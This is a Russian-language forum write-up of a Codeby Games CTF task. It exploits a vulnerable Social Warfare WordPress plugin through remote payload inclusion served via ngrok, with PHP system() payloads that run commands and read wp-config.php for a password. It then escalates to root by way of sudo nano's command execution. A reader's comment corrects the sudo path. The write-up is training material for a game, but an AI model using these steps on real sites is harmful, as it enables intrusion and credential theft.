Writeup Codeby Games CTF - Скрипт-кидди (WriteUp)

Ответы на вопросы
Будет ли видео на канале? - Нет, по 2 причинам:
1) Я могу запалить свой IP или другую информацию
2) квесты, условно говоря, являются "премиальными" тасками
Но на твоём канале уже есть прохождение таска "Подземелье" - Тогда я ещё не знал что таски являются "премиальными", + вроде ничего не запалил серьёзного, поэтому и удалять не стал.

Решение таска
После попадания на сайт нам нужно заглянуть в код элемента.

Там мы находим комментарий который нам намекает на уязвимый компонент.

1689701373007.png

Я сначала обнаружил ссылки связаные с WordPress и начал искать изъяны в нём

Находим информацию в интернете по запросу "Warfare v3.5.2 exploit" и находим github с эксплойтом.

Теперь самое неприятное, это работа с ngrok. Запускаем на своей машине ngrok и Python сервер.

ngrok http 8000
python3 http.server 8000

Теперь в ключах программы нужно указать наш ngrok адрес и путь к срипту который содержит следующий сценарий.

python2 script.py --target URL --payload-uri NGROK-LINK/payload.txt

Важно запускать на версии python2, иначе скрипт не запуститься!

В payload.txt пишем:

<pre>system('id')</pre>

Если при выводе в терминале где у вас запущен python сервер получили ответ, Бинго!

В файлах конфигурации сервера, а именно в файле wp-config.php мы находим пароль от пользователя Kiddie.

<pre>system('cat ../wp-config.php')</pre>

Подключаемся по ssh, ngrok и сервер можно отключить, чтобы не напрягать наш компьютер и себя лишними окнами.

Пишем команду sudo -l и смотрим что нам доступно... Мы можем открывать txt файлы от лица суперпользователя в директории /tmp с помощью nano.

Как мы знаем (а кто не знает сейчас узнает), мы можем исполнять команды в nano.

Создаём текстовый файл например "1.txt" и открываем следующим образом.

sudo nano 1.txt

В нём ничего писать не надо, нажимаем комбинацию Ctrl+T, и в поле ввода вводим ls /root/, если результат есть, то поздравляю, таск пройден, собираем ключ воедино и завершаем!
 
Спасибо за райтап.
Только не sudo nano 1.txt, а sudo /usr/bin/nano /tmp/1.txt
Так как sudo nano вызывает nano из /bin/nano, на что у нас нет прав
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!